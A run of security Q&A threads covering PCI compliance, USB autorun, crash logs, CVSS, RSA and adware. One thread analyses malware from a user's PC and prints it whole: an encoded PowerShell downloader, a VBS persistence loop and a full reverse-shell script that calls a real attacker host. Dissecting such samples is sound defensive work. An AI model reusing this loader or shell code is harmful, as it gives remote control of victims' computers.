Key management scheme in PHP that is compliant with NIST SP 800-57 We're working on achieving SAQ-D PCI compliance and along the way we're discovering new things each day. Today: Key Management

I wonder if there're any open-source or commercial PHP solutions available that implement a key management scheme that would comply with the PCI DSS security standard?

We'll be storing card and required to have an encryption key which is NIST SP 800-57 compliant. I have been searching on this but cannot find any sample code or even a single valid key.

NIST SP 800-57 is a long and very general standard, applying primarily to details such as key purpose, length, lifetime, and other details that are typically independent of the application in use. Perhaps you should review that standards documentation, identify the requirements relevant to the your application, and narrow your question to reflect the specific requirements that your application needs to implement.

Note that finding an application written specifically to implement key and password management best practices doesn't make a whole heap of sense, since key and password management needs to be integrated into the application that actually uses the passwords and keys, rather than a stand-alone solution. So it's unclear what an application specifically for enforcing key lifetime, length, etc., would actually do, and how it would fit into your general workflow.

Also key management practices are as much about configuration, usage, and deployment of your application as they are about the code itself, and probably significantly more so.


Am I protected from USB autorun malware on Windows 7? As far as I know, the autorun.inf problem (the possibility of automatically executing code when a USB stick is plugged in) was solved through Windows Updates for XP, and on 7 it is no longer possible at all.

But there is still some auto play dialog popping up, when a USB stick is plugged in.

Can this be exploited, would it be possible to execute code somehow?

(assumed)

Assets: Single home desktop machine containing personal information, financial records, passwords to web sites, contact information for friends and relatives.

Exposure: Located in personal residence with little unknown individual traffic.

Threats: Personal acquaintance with non-financial motivation or service worker with financial motivation.

When you plug a USB key in, a considerable amount of things happen. The OS first talks to the USB device to know what kind of device it is and what it can do. Then, if the device says that it is a kind of disk, the OS will look for a filesystem on it, then mount it, and explore some of the files. Depending on what files were found and their name, the OS will suggest a choice of actions to the user (that's the popup you see). Any phase of that process could have exploitable bugs, and indeed numerous examples of these have historically occurred (for instance, the PS3 Jailbreak from last year is a USB device which, internally, announces itself as a hub of four devices, one of which rambling incoherently on the USB bus in such a way that it triggers a buffer overflow in the OS USB driver).

Hence, while the current state of affairs on Windows is that the OS will not by design run malicious code automatically, it may still do it by mistake. To my knowledge, there is no currently published exploit which does so, but it would be implausible that all that code is bug-free.

As a side note, what looks like a plain USB stick may, internally, behave quite differently, and (for instance) show itself as a keyboard to the OS -- and begin "typing" immediately. The possibilities are almost endless. And a bit scary.


What threat does the 1Password Browser authentication mitigate? The latest 1Password browser update for Firefox includes an authorization between the plugin, and the browser itself.  This is documented on the vendors website: https://support.1password.com/browser-authorization/

What threat does this mitigate?

It's to prevent a second user logged into the same machine simultaneously with you, from asking your open password manager for login credentials by pretending to be a browser extension owned by you. Source: https://discussions.agilebits.com/discussion/70301/background-for-4-6-1-security-changes

This vulnerability was found by Tavis Ormandy of Google's Project Zero team, along with vulnerabilities in multiple other common password managers (some more severe).


Strange code running at startup A piece of code was running on my Windows machine at startup. I would like to know exactly what this code is doing; it seems to refer to something like crackbook?

@echo off
if %PROCESSOR_ARCHITECTURE%==x86 ( START /B powershell -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA== )
if %PROCESSOR_ARCHITECTURE%==AMD64( START /B %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA== )

EDIT: I tried formatting my PC. It seems like a spyware from prpops.com (NSFW) is installed on my system without any notice.

The config file which used to start on my PC is still there even after I formatted my PC. Here is a little code that it runs through which above bat file used to run.

Dim WinScriptHost
WScript.Sleep(30000)
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "%USERPROFILE%\appdata\file.bat" & Chr(34), 0
While True
set service = GetObject ("winmgmts:")
running = 0
for each Process in Service.InstancesOf ("Win32_Process")
    If Process.Name = "powershell.exe" then
        running = running + 1
        End If
next
If running < 1 then
    WinScriptHost.Run Chr(34) & "%USERPROFILE%\appdata\file.bat" & Chr(34), 0
    End If
WScript.Sleep(120000)
Wend
Set WinScriptHost = Nothing

Please tell if this auto-downloads the script or stores it in any way in memory?

Short version
The attacker is able to run any PowerShell commands on your machine and can be found by getting the owner of "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com".
Long version
I dumped the binary array into a file and uploaded it to VirusTotal.
The newly launched file seems like an additional stage to me since it is really small (1.7 kb) and will be executed for 10 seconds only since it will be bound to PowerShell (since the attacker creates a thread instead of launching it as a separate process) and the termination is delayed by 10 secs at the last command.
Update: I'm sadly unable to reverse-engineer assembly, but a quick look at the file using a text editor revealed the following string:
powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(
'A really long base64 full code can be found below'));
IEX (New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

However, this stage also utilities GZIP as an additional obfuscation layer to Base64, but still can be dumped to:
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    )
    Process {
    $modules = @()
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]9999
        $listener.start()
        $client = $listener.AcceptTcpClient()
    }
    if ($Command -eq "reverse")
    {
    $client = New-Object  System.Net.Sockets.TCPClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com",9999)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true")
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com")
        $stream = $sslStream
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

This is a rather simple PowerShell backdoor which is connecting to a server and then allows the attacker to remotely run PowerShell commands on your machine. This "powerfun" script can be found on GitHub by googling two seconds so I won't link it here to not stretch the anti-spam limits. However, by comparing it to the original script, you'll quickly notice that the attacker changed the remote server address to "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com" and the port to 9999, so it should be easy to track the attacker if needed.
Finally: The server is still listening to that port, so the attacker is
able to control your computer!


How is it possible that a text message can reboot an Apple device? I was reading through my infosec newsfeed and found this article:

http://www.theguardian.com/technology/2015/may/27/iphone-crash-bug-text-imessage-ios

It basically talks about a bug iOS has while parsing Arabic characters, specifically in notifications.

Reading a bit further into the subject I learned that the bug is exclusively executed when the notification is abbreviated with an ellipsis (...) and that ellipsis falls in the middle of the Arabic character.

Of course, right when it started to be a more interesting (and infosec oriented) reading, the author stops simply by saying "it causes the system to crash". Further searching hasn't lead me to any technical explanation either.

How is it possible that a simple operation like parsing a character can have such an important flaw?

I just asked a similar question; mine was about how Apple will fix this though, not necessarily what the bug does that causes the phone to crash.

As @LvB suggested, it seems to be a bug in the SpringBoard notification text processing, where the program infinitely reads the Unicode string into memory, taking up all the available memory. Then, the SpringBoard throws a segmentation fault as it attempts to allocate memory that the kernel owns. It seems like a 'fast' restart because only the SpringBoard is restarted.

Apple hasn't released any details, but this is my output from Settings/Privacy/Diagnostics & Usage/Diagnostics & Usages Data/LatestCrash.ips:

Hardware Model:      iPhone4,1
Process:             SpringBoard [395]
Path:                /System/Library/CoreServices/SpringBoard.app/SpringBoard
Identifier:          com.apple.springboard
Version:             50 (1.0)
Code Type:           ARM (Native)
Parent Process:      launchd [1]

Date/Time:           2015-05-27 13:59:33.737 -0400
Launch Time:         2015-05-27 13:36:16.197 -0400
OS Version:          iOS 8.3 (12F70)
Report Version:      104

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x403c0a40
Triggered by Thread:  0

Thread 0 name:  Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0   CoreText                        0x28bf2264 0x28b54000 + 647780
1   CoreText                        0x28bc2e64 0x28b54000 + 454244
2   CoreText                        0x28bc37f8 0x28b54000 + 456696
3   CoreText                        0x28b8fb9c 0x28b54000 + 244636
4   CoreText                        0x28b91350 0x28b54000 + 250704
5   CoreText                        0x28b64716 0x28b54000 + 67350
6   CoreText                        0x28b644f6 0x28b54000 + 66806
7   CoreText                        0x28b64372 0x28b54000 + 66418
8   UIFoundation                    0x332561ca 0x331fb000 + 373194
9   UIFoundation                    0x332585ec 0x331fb000 + 382444
10  SpringBoard                     0x00320f9c 0x89000 + 2719644
11  SpringBoard                     0x00321084 0x89000 + 2719876
12  SpringBoard                     0x003212e0 0x89000 + 2720480
13  SpringBoard                     0x002bbb6c 0x89000 + 2304876
14  SpringBoard                     0x003020a8 0x89000 + 2592936
15  SpringBoard                     0x00301052 0x89000 + 2588754
16  SpringBoard                     0x0025d472 0x89000 + 1918066
17  SpringBoard                     0x0025d374 0x89000 + 1917812
18  SpringBoard                     0x0025d3e6 0x89000 + 1917926
19  SpringBoard                     0x0025d724 0x89000 + 1918756
20  SpringBoard                     0x0025d52a 0x89000 + 1918250
21  SpringBoard                     0x0025c2ba 0x89000 + 1913530
22  CoreFoundation                  0x2823b850 0x2812d000 + 1108048
23  CoreFoundation                  0x28165fe8 0x2812d000 + 233448
24  libdispatch.dylib               0x36831c80 0x36830000 + 7296
25  libdispatch.dylib               0x36831c6c 0x36830000 + 7276
26  libdispatch.dylib               0x3683d54e 0x36830000 + 54606
27  CoreFoundation                  0x281fc884 0x2812d000 + 850052
28  CoreFoundation                  0x281fafa4 0x2812d000 + 843684
29  CoreFoundation                  0x2814699c 0x2812d000 + 104860
30  CoreFoundation                  0x281467ae 0x2812d000 + 104366
31  GraphicsServices                0x2f91f1a4 0x2f916000 + 37284
32  UIKit                           0x2b8d1690 0x2b862000 + 456336
33  SpringBoard                     0x000908b4 0x89000 + 30900
34  libdyld.dylib                   0x3686faac 0x3686e000 + 6828

This is only through Thread 0 (the one that crashed) because the rest is not really important.

From the crash log you can see that the app that crashed was SpringBoard, and the cause is a SIGSEGV (segmentation fault). Then, the stack trace (ignore the system call on line 34) suggests that it was caused by:

33  SpringBoard                     0x000908b4 0x89000 + 30900

Take this with a grain of salt. Since I don't know what the source code is, and Apple obscured their crash logs with addresses instead of function names (it used to give function names), one can only guess by the stack trace and behavior of the crash.

It could also be an issue with how CoreText process the string before passing it to SpringBoard, we don't really know as we didn't design the internal apps in CoreServices.


What is wrong with a confirmation page displaying my password? I just registered for a race and the confirmation page gave me the creeps. See below for a screenshot with fake data.

I know nothing about internet security. Other than the obvious fact that if I were signing up in a public place, anyone could look over my shoulder and see my password, what is wrong with displaying a user password in plain text on a confirmation page?

EDIT: Yes, it is an https site.

EDIT: Also, they included the password in a confirmation email. I'm frustrated because the password I used isn't completely unique. I use it on a few other sites as well.

The problem here could be as simple as being someone behind you that could read you password directly from the screen but consider also, that if that page is served via "HTTP" and not "HTTPs" your password will be traveling in plain text through internet and anybody could just grab the packet and clearly read it.

But the problem can be even bigger if they just store your password in plain text in their databases since once they get hacked they will probably have a lot of passwords for a lot of people that probably use that very same password with the account provided.

It is clearly a security negligence.


Why did it take so long to enforce memory permissions? From the Wikipedia page on DEP.

  DEP was introduced on Linux in 2004 (kernel 2.6.8[2]), on Windows in 2004 with Windows XP Service Pack 2,[3] while Apple introduced DEP when they moved to x86 in 2006.

Why did it take until 2004, when DEP was released, to properly enforce memory page access flags in hardware? Are there any limitations in the hardware or software architecture that made it difficult?

It's primairly a question of cost-benefit analysis on the hardware manufacturer's side, and a question of risk analysis on the behalf of OS vendors.

The x86 architecture has provided memory page access rights as far back as the 80386, but at that time such hardware enforcement would have been expensive to implement in the hardware, and wasn't seen as necessary. Computers were already prohibitively expensive for most users, and most small businesses, so hardware manufacturers didn't want to increase the cost for the sake of a feature their customers wouldn't understand or care about.

As time progressed, this complacency became more apparent. The era of buffer overflows was upon us, and it was starting to hurt big businesses. By 2003, computer security had become proven to be a commercially profitable field, and hardware prices had dropped to commodity levels. AMD and Intel finally decided that hardware enforcement was a profitable feature, so they implemented Never eXecute (NX) in early 2004. AMD released the Athlon XP-M "Dublin" with NX support, and the first Intel processor to support it was the Pentium 4 Prescott (revision E0). However, at this point, the market share of processors with NX was minimal.

The major barrier to software implementation was that Physical Address Extension (PAE) had to be enabled and supported before NX was available for use. This meant extensive changes to core memory management inside the OS kernels.

Another part of the problem on the software side was poorly written applications. Some code relied on the ability to erroneously execute data that had not been placed in memory pages marked as executable. With the advent of hardware enforcement of memory access flags, these programs would throw an access violation. Careful consideration of the benefits was needed before going ahead with the changes. DEP as a concept, without hardware support, was considered as a potential feature of Linux at an earlier date, but it was rejected due to complexity problems, breaking changes, and the fact that the software enforcement mechanisms could easily be bypassed.

Once hardware support was available, operating systems had to be modified to use it. This was not a trivial task. DEP marks certain important structures, such as the stack and heaps, as non-executable. This required every initialization routine that dealt with creation of threads and processes to be modified to support NX, as well as certain changes to memory management (e.g. heap allocations). Finally, some hardware abstraction layer code had to be modified, in order to properly recognise the NX flag on supporting processors.

All in all, this actually happened surprisingly quickly. Once the hardware NX enforcement was available, both Windows XP and Linux released NX-compatible builds within 8 months.


Google Chrome & Spear-phishing I've been trying to find some information on how Google Chrome detects phishing pages that are not already in their blacklists. The most relevant information that I've found from Google itself, states:

  Second, Safe Browsing helps to protect you against targeted phishing attacks (sometimes called “spear phishing”), where a site may not already be known to Google so isn’t on the list of phishing sites. Chrome does this by analyzing the content on the site and warn you if it seems suspicious.

Does anyone have any more information on the specific type of "content analysis" that Chrome is doing?

Thanks!

I believe this refers to malicious redirects.  Let's say that E. Vildoer has been phishing and sending people to evil.example.net.  If E. Vildoer then manages to put malicious code on your site, such that your pages are redirecting visitors to evil.example.net, then Chome should trigger on that.  It's not the code on your site per se that triggers the block, it's where the code would be sending the visitor.

Of course, I believe Chrome browsers report such incidents back to Google, leading to a scan of your site, leading to you being added to the Safe Browsing blacklist, so it's kind of a short window where you're not on the blacklist but trying to send visitors somewhere that'll get you on the blacklist.


How to rate CVSS3's "Privileges Required" when an attacker can create an account? The Common Vulnerability Scoring System Version 3.0 rates the severity of vulnerability depending on factors such as:

Attack Vector (AV) - What kind of access does an attacker need? Can they do it over the net or do they need physical access?
Attack Complexity (AC) - Does the attack work every time or do very specific circumstances outside the attacker's control need to be in place?
Privileges Required (PR) - What kind of privileges does the attacker need for this attack to be successful?
User Interaction (UI) - Does the user need to interact with the attacker in a certain way for the attack to be successful?
Scope (S) - Does the vulnerability affect the same, or a different component?
Confidentiality (C) - How does this vulnerability affect the confidentiality of data?
Integrity (I) - How does this vulnerability affect the integrity of data?
Availability (A) - How does this vulnerability affect the availability of data?

I am somewhat confused with Privileges Required (PR), especially how to rate certain vulnerabilities. Here is the definition of Privileges Required, according to the CVSS3 Specification v1.8:

  Privileges Required (PR)

  This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. This metric if greatest if no privileges are required. The list of possible values is presented in Table 3.

  Table 3: Privileges Required:

  None (N): The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
  Low (L): The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user.
  Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
  High (H): The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect
  component-wide settings and files.

Now imagine the following attack scenario: A company creates a forum for their community, in which people can create posts. Signatures of users are put below each post. A user can include a malicious <script>-tag in their signature to create a stored XSS-attack on anyone reading any of their posts.

How would this be rated?

My reasoning would be that the privileges required are "None (N)", as the attacker does not require any access to settings or files to carry out an attack. However, I have heard people arguing that this would be classified as "Low (L)", as the attacker does indeed need an account to use the forum software and therefore is not unprivileged.

First of all, bigger PR makes lower risk ratings, it will not increase scores.

At that https://www.first.org/cvss/cvss-v3-guide.pdf guide (page 18) low privilege will be 0.62 and high will be 0.27, they will be used at multiplication.

You can calculate V3 scores at https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator to see results.

To determining your scenario we need to ask one question, "is anyone can register to this forum?". Possible results listed & explained below.

"No, there is forum admins and they accepts users": Someone gives authorization to users so this is a low PR.
"Yes, anyone can register simply": No-one reviews users and gives additional authorization so this is a none


Is there more risk in changing administrator password locally vs from a centralized location? I'm working on a mechanism to better handle group policy passwords in response to MS14-025. We formerly used this mechanism for setting the local admin account passwords on our workstations (primarily Windows 7)

To this end (see the method I've outlined below for specifics) my thought is to have these changed client side via a scheduled task and save the resulting password to a restricted access network drive. What kind of exposure am I creating by allowing these changes to occur locally, instead of pushing out from a central location?

The only thing I've come up with are memory scrapers and the ability to manipulate the random number generator.. Both of which should require admin rights already.

Background

Goals

Avoid storing plain text passwords in a GPP item.
Rotation on these passwords
Set unique password per device (avoid pass the hash attacks)

Proposed Method

Set up a scheduled task (deployed by group policy preference, using the system account)

Schedule monthly / quarterly / whatever
Run on local Admin login, after 30 minutes

Task runs executable / script which will

Set the admin password to a random string
Save password to a network directory, using computer name for reference

Enable auditing / restricted access rights / etc on this folder.

Combined with a secondary trigger - say 30 minutes after the local admin account is logged in to - and we'd have a pretty decent method for controlling these accounts with the additional benefit of knowing whomever is using the local Administrator account.

I did come up with a couple potential additional attack vectors.

A lot of languages use a date / time stamp for setting up their random number generators. This results in getting the same 'random' password for all tasks executed in parallel. A potential fix is here.
On the interface / on the wire capture of account / password details. This can be mitigated with IPsec.

Depending on implementation either of these could allow either lateral or vertical privilege escalation.


WebServices Security Do we have any good resources on WebServices Security? Any book, pdfs, articles and even the detail answers regarding the securing web services would be appreciated.

OWASP (The Open Web Application Security Project) provides a lot of resources for developers and pen-testers.

  OWASP is an open community dedicated to enabling organizations to conceive, develop, acquire, operate, and maintain applications that can be trusted. All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security.

To the degree that web applications qualify as web services, are accompanied by web service APIs, or can be hardened/probed using the same techniques as web services, OWASP is a great resource.

You might start at their Web Services page.


Are there any limits to what a HSM will sign? For a cryptocurrency application, I take it that pretty much the main function of an HSM is to generate/store keys; it mainly just signs data that is fed to it? But what controls that? Will it happily just sign anything that is asked of it through the pkc11/jce API?  Or can there be policies you can apply where you allow the HSM to sign certain things but not others?

Mainly I had assumed that an HSM could provide some stop-gap for not maintaining full physical control, like say in a shared datacenter.

So for example, lets consider a bitcoin miner with an HSM to do the signing for block generation. Could some application in the OS submit a bitcoin transaction to the HSM to be signed, that lets say, would transfer 100bitcoins out to some other address?

For my scenario, it seems the fact that "the private keys never leave the HSM" which is what I see all the time as the selling point for an HSM, doesnt really do anything for you.

Maybe in that case use a TPM? with or without the HSM?  but dont TPMs have vulnerabilities?

A HSM does not provide much more than protecting the private key. This is already a strong protection since it means that the private key cannot be simply and unnoticed stolen (and thus misused): If the attacker wants to steal the private key he would not only need to have physical access to the HSM once (which is already a strong protection) but for all transactions since the HSM cannot be cloned.

Additionally HSM are usually protected by a secret (i.e. PIN, passphrase...) which depending on the configuration need to be provided once for all transactions on the initial activation of the HSM (i.e. after plugging it in, after system reboot...) or for each transaction. The latter is more secure but not practical in all cases, i.e. it might be practical if the HSM is used in a certificate authority to sign new certificates but it is probably impractical if the HSM is used to protect the private key of a web server.

  ... Could some application in the OS submit a bitcoin transaction to the HSM to be signed...

The HSM itself has no idea what it is signing. The intelligence if some data  should be signed in the first place (i.e. if some cryptocurrency transaction is valid) need to be provided by the user of the HSM. In most cases the logic to implement such functionality is too complex to be implemented on the fairly small computer the HSM (or smart card) is - if it is clear how such automatic checks should be done in the first place.

If you use for example a HSM to automatically (no PIN required) sign cryptocurreny transactions and you use it on a complex system where it is likely that bugs or misconfiguration allow access to attackers, then you should probably rethink your system architecture. It might be more useful to use the HSM  instead within a separate and minimal system which only implements the necessary checks what should be signed and provides a minimal and secure API to the more complex system.

  Maybe in that case use a TPM? with or without the HSM? but dont TPMs have vulnerabilities?

A TPM is only special kind of HSM with about the same limitations. TPM can have vulnerabilities as much as HSM or smart cards could have. But all these together are very minimal systems which are more easy to audit for vulnerabilities than larger systems. This does not mean though that bugs never happen, it is only much less likely.


RSA Possible Vulnerability? Given c1 = cipher text of m encrypted with n1 and e
Given c2 = cipher text of the same m encrypted with n2 and the same e,
Is it possible to figure out either of the n's or m?
I can't seem to solve for it myself, but I know that doesn't mean it isn't possible!

If RSA is done properly (as per PKCS#1), then no.

If RSA is done very improperly (i.e. without any kind of padding), then message reconstruction is possible if you encrypt the same message m with e distinct RSA keys, provided they all use e as public exponent. This is done with the Chinese Remainder Theorem: since n1, n2... ne are all relatively prime to each other (otherwise a simple GCD will break two keys, at which point the problem is solved), knowing me modulo all the ni is sufficient to rebuild me modulo the product of all the ni. So you recompute me modulo N = n1n2...ne. However, m is smaller than each ni, so me is smaller than N. In other words, you get me itself, not me modulo some integer. Computing an e-th root in the non-modular integers is easy, and this reveals m.

I insist, this is not a weakness of RSA. Rather, it is an illustration of why RSA, the real one, is not merely a modular exponentiation, but includes a padding step (and that padding includes random bytes, which is also important for a completely different reason). The RSA-without-padding is often called "textbook RSA" because most textbooks describe RSA that way.


Are there specific reasons or benefits to using a tiered information security policy architecture? I had another question in mind, but thought that I should ask this one first.

Background:

Everywhere I have been in the past has used a tiered policy architecture. What I mean is there is one global Information Security Policy, with general statements on the company's stance on each of the applicable topics of InfoSec. Subsection on Access Controls: Logical access controls must be instituted and enforced on

Under that you would have many Tier 2, topic-specific policies, with more specific statements on the topic. Statement in the Password Policy: Strong passwords must be used to secure all company IT systems.

Finally under the Tier 2 policies were standards, processes, and procedures with specific implementation guidance. Statement in Password Standards document: Windows passwords must be at least 16 characters long.

This structure makes sense to me. It is easier to understand, easier to maintain, and easier to enforce.

I recently started at a new company as the Information Security Engineer. What I've walked into is, to put it delicately, not up to this standard. I've been tasked with picking up the pieces so to speak, and was given a document to start with that heads further down the wrong track. I spent some time looking at current policies, and basically re-architected the Information Security Policy into a tiered structure, rewrote a draft of the IS policy, and a few tier 2 policies as examples. I submitted the drafts for review, and the feedback I received is trying to push back down the path of one behemoth General Controls policy, trying to put standards statements and processes back into a policy document. Needless to say, it was a little frustrating.

Question

My question is what are the pros and cons to using a tiered information security policy architecture vs. one all encompassing policy?

I have my opinions about both methods, and obviously prefer one way over the other. But I also realize that my opinion is formed based on past experiences, so maybe I'm not seeing the light of the other way.

Update

I'm not so much focused on why you should split policies from processes, standards, and procedures, that I understand and can articulate well. I'm more looking for pros and cons of many compact, focused policies vs. one large, all encompassing policy. I've updated the question accordingly.

The basic idea is that Policies are separated from Procedures because Policies are going to rarely change. They are a high-level view of the intent of the company. Procedures are how that intent is carried out. Those implementational details can vary from department to department and modify over time.

Imagine that the users can have one kind of password complexity requirement, but admins need another. With one Policy and two Procedures (user & admin), you can easily create such a scenario, track and enforce it more easily, and maintain it over time.

By splitting those 2 concepts, you can meet the needs of the company and meet the needs of implementation at the same time.

EDIT

After your clarification, I can say that it's a maintainability issue. An omnibus Policy would need to be reviewed and signed off by each stakeholder all at once, and any change would need to go through the same process. By splitting it up, you can make necessary changes, even small ones, without the need to get the entire company involved.


Hashing sensitive data in request We have set the https connection, between the client and server. The problem is that security guys, showed us it is possible to intercept the data using rogue invalid certificate (user must accept it in the browser).

The problem is now the attacker would be able to see in a clear text all the request sends to the server and though to see what is the structure of the data we are sending (is it security vulnerability?

1) Does it make sense to hash sensitive information (on the client side) and send it hashed to the server?

2) There is an requirement that require us to encrypt us some data (i.e credit card PIN) on the client side and just then send it to the server. Does it make sense? We'd have to somehow follow the same steps as we do for SSL, establish trust encrypt etc, just for this one field.

3) Is it worth to obfuscate JS code? Wouldnt it be easily reverseable?

The official term for an attacker eavesdropping on your connection using a different certificate is called Man-In-The-Middle attack in this scenario.  The way to protect from this is pinning. An overly simplistic explanation is to check a certificate against a hardcoded copy of the original one. For more details, see the above link. My suggestion is to go with this approach as long as you control the corresponding servers.

However, to specifically answer your questions:

1) Keep in mind that hashing is meant to be one-way, so depending on what you want to do with the data it might become useless after hashing.

2) you can add another layer of security by encrypting the data end-to-end. I suggest public key crypto since you dont need to ship a shared key but just a public key with the client.

3) Completely unrelated question, but fine. JS can be increadibly mean if you have a look at code almost completely constructed from brackets and +, so you can somehow defend against reverse engineering. BUT there is no perfect obfuscation, this is an arms race


Is SQL injection still a thing? I was wondering whether SQL injection is still a thing or if it is mainly extinct due to the fact that I don't hear about corporations being hit by this vulnerability, And the last time I heard an exploitation was a while ago!

And also currently what are the most popular methods of website attacks.

Still a threat? Of course! It's one of the most exploited vulnerabilities out there! Just take a look on the SQL Injection Wall of Shame and see for yourself.

I don't think SQL Injection will ever become extinct. It arises from the fact that humans are writing programs, and humans are not perfect. And as long as we write code, with the deadline arriving at the horizon, we commit mistakes, and let open the door for SQL Injection.


How to detect if someone is using airmon-ng [Aircrack-ng] in my wi-fi network Using the Linux Kali distribution, I was able to get the password from my wifi network using the airmon-ng [Aircrack-ng] tool.

However, how can I find out if someone is doing this on my network?

You can't tell if they're doing it because they are scanning your network promiscuously, which means they are just monitoring traffic and not generating any of their own.

You can normally prevent this type of attack by using an appropriate level of encryption and passphrase sizes, something such as WPA2-PSK instead of WPA.


Suspicious calls to testgvbgjbhjb.com On the last few days, one of our endpoints calls to testgvbgjbhjb.com
the calls came from google chrome outside.

I used TCPView to find suspicious connections and check if there any unknown
extension.

The owner of the domain made it a 127.0.0.1 record and set the next txt record:

"The owner of this domain does not know why your machine is reaching out to it. Owner saw suspicious traffic in multiple networks and bought it."

I read the next analysis but I can't find the cause of these calls.

https://urlscan.io/result/14f59032-94ab-4b39-b7ef-1c0d33bc02f7/
https://www.joesandbox.com/analysis/199223/0/html

Any Idea?

I have the solution.

I used the link of urlscan that wrote in the question and checked the HTTP tab.
I clicked on the show response button

https://urlscan.io/result/14f59032-94ab-4b39-b7ef-1c0d33bc02f7/

I checked the response on each request and see a pop cash script.

<script type="text/javascript" src="//cdn.popcash.net/pop.js"></script>

This feature is a legitimate advertising service that website publishers use to generate revenue on their sites.

There are some adware programs that are injecting these ads onto web sites you visit, show automatically pop-ups and do user redirection to third websites in order to generate revenue.

I found an unwanted program in the OS, after the program uninstallation the calls were stopped.


PCI DSS v3: Card holder data storage Can I store following holder data according the PCI DSS v3:

last 4 digits of the card number;
expiration month;
expiration year;
first name;
last name;
zip code;
country?

If no, which way I can follow to store them?

P.S. I've found this answer, but it's related to v2.

Update: Also, I found this article with the following comment: "...Truncation – removing a data segment, such as showing only the last four digits...", but I'm not sure that it's actual information related to the v3.

Can I store following holder data according the PCI DSS v3:

In short: Yes, you may store all of that data, without encryption, under the DSS, as long as you're not storing the PAN (the credit card number).

However, some of that information falls under the PII regulations of various states, and your failure to protect it would be subject to various fines.  So just because the DSS doesn't care doesn't mean you shouldn't.

In detail:

The DSS 3.2 states (emphasis mine):

  PCI DSS also applies to all other entities that store, process or
  transmit cardholder data (CHD) and/or sensitive authentication data
  (SAD)

